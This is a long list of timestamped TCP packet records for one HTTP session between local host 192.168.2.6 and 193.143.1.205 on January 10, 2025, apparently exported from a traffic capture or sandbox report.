Jan 10, 2025 18:41:00.859893084 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.859906912 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.859939098 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.859939098 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.859939098 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.859962940 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.859998941 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.860011101 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.860023022 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.860043049 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.860129118 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.860142946 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.860166073 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.860172033 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.860183954 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.860210896 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.860359907 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.860372066 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.860385895 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.860397100 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.860399961 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.860409021 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.860419989 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.860451937 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.892157078 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.892163038 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.892169952 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.892182112 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.892229080 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.892235994 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.892242908 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.892256021 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.892358065 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.892358065 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.892431021 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.892466068 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.892472982 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.892524958 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.892613888 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.892620087 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.892627001 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.892669916 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.892748117 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.892807007 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.892812967 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.892826080 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.892868042 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.892919064 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.892966986 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.892982006 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.892993927 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.893001080 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.893008947 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.893027067 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.893068075 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.893093109 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.893099070 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.893105984 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.893115997 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.893163919 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.893532991 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.893548012 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.893558979 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.893575907 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.893583059 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.893589020 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.893600941 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.893604994 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.893608093 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.893618107 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.893624067 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.893631935 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.893635988 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.893683910 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.893944025 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.894020081 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.894025087 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.894037962 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.894043922 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.894052029 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.894081116 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.894085884 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.894087076 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.894095898 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.894124985 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.894153118 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.894202948 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.894208908 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.894216061 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.894227982 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.894268036 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.894290924 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.894299984 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.894306898 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.894318104 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.894325018 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.894357920 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.894506931 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.898097992 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.898113012 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.898119926 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.898135900 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.898143053 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.898150921 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.898163080 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.898166895 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.898169041 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.898176908 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.898183107 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.898192883 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.898195982 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.898200989 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.898211002 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.898219109 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.898225069 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.898232937 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.898236990 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.898266077 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.898833036 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.898848057 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.898855925 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.898866892 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.898874044 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.898880005 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.898890018 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.898896933 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.898907900 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.898914099 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.898921013 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.898929119 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.898936987 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.898940086 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.898947001 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.898952007 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.898968935 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.898987055 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.899389029 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.899396896 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.899408102 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.899444103 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.907001019 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.916151047 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.916166067 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.916177988 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.916182995 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.916189909 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.916213989 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.916220903 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.916238070 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.916270018 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.931466103 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.948333979 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.948339939 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.948345900 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.948405027 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.948411942 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.948426008 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.948436975 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.948443890 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.948451042 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.948524952 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.948524952 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.948524952 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.948546886 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.948553085 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.948558092 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.948611021 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.948611975 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.948635101 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.948641062 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.948653936 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.948659897 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.948699951 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.948785067 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.948865891 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.948870897 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.948883057 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.948888063 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.948894024 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.948923111 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.948939085 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.980776072 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.980782032 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.980794907 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.980807066 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.980813026 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.980828047 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.980834961 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.980840921 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.980943918 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.980950117 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.980956078 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.980957985 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.980957985 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.980998993 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.981041908 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.981056929 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.981064081 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.981074095 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.981080055 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.981125116 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.981137991 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.981143951 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.981149912 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.981189013 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.981215954 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.981230974 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.981239080 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.981249094 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.981255054 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.981282949 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.981348991 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.981355906 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.981364012 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.981399059 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.981404066 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.981406927 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.981410980 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.981439114 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.981509924 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.981515884 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.981522083 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.981565952 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.981599092 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.981606007 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.981614113 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.981623888 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.981630087 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.981657982 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.981733084 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.981739044 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.981745958 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.981792927 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.981815100 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.981821060 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.981827974 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.981839895 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.981873035 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.981882095 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.981888056 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.981895924 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.981904984 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.981940985 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.982110977 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.982120991 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.982127905 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.982139111 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.982153893 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.982161045 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.982167959 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.982177973 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.982177973 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.982193947 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.982201099 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.982206106 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.982247114 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.982361078 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.982367992 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.982379913 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.982414007 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.982415915 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.982420921 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.982428074 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.982439041 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.982475042 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.982554913 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.982561111 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.982567072 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.982611895 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.982635021 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.982642889 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.982649088 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.982660055 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.982666016 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.982675076 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.982681990 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.982700109 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.982728958 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.982811928 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.982817888 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.982824087 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.982835054 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.982841015 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.982846975 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.982853889 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.982860088 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.982872009 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.982907057 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.983093977 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.009440899 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:01.013001919 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.013010979 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.013021946 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.013029099 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.013071060 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:01.013111115 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.013118029 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.013123989 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.013154030 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.013159990 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.013165951 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.013165951 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:01.013199091 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:01.017635107 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:01.037026882 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.037045956 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.037053108 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.037065029 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.037071943 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.037079096 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.037108898 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:01.037136078 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.037142038 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.037147999 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.037156105 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:01.037161112 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.037190914 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:01.037235022 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.037241936 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.037247896 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.037259102 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.037265062 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.037292004 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:01.037318945 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:01.069325924 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.069334030 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.069345951 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.069384098 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:01.069415092 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.069427967 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.069433928 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.069456100 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.069463015 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.069467068 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.069478035 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.069479942 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:01.069484949 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.069490910 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.069506884 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:01.069526911 CET	49711	80	192.168.2.6	193.143.1.205
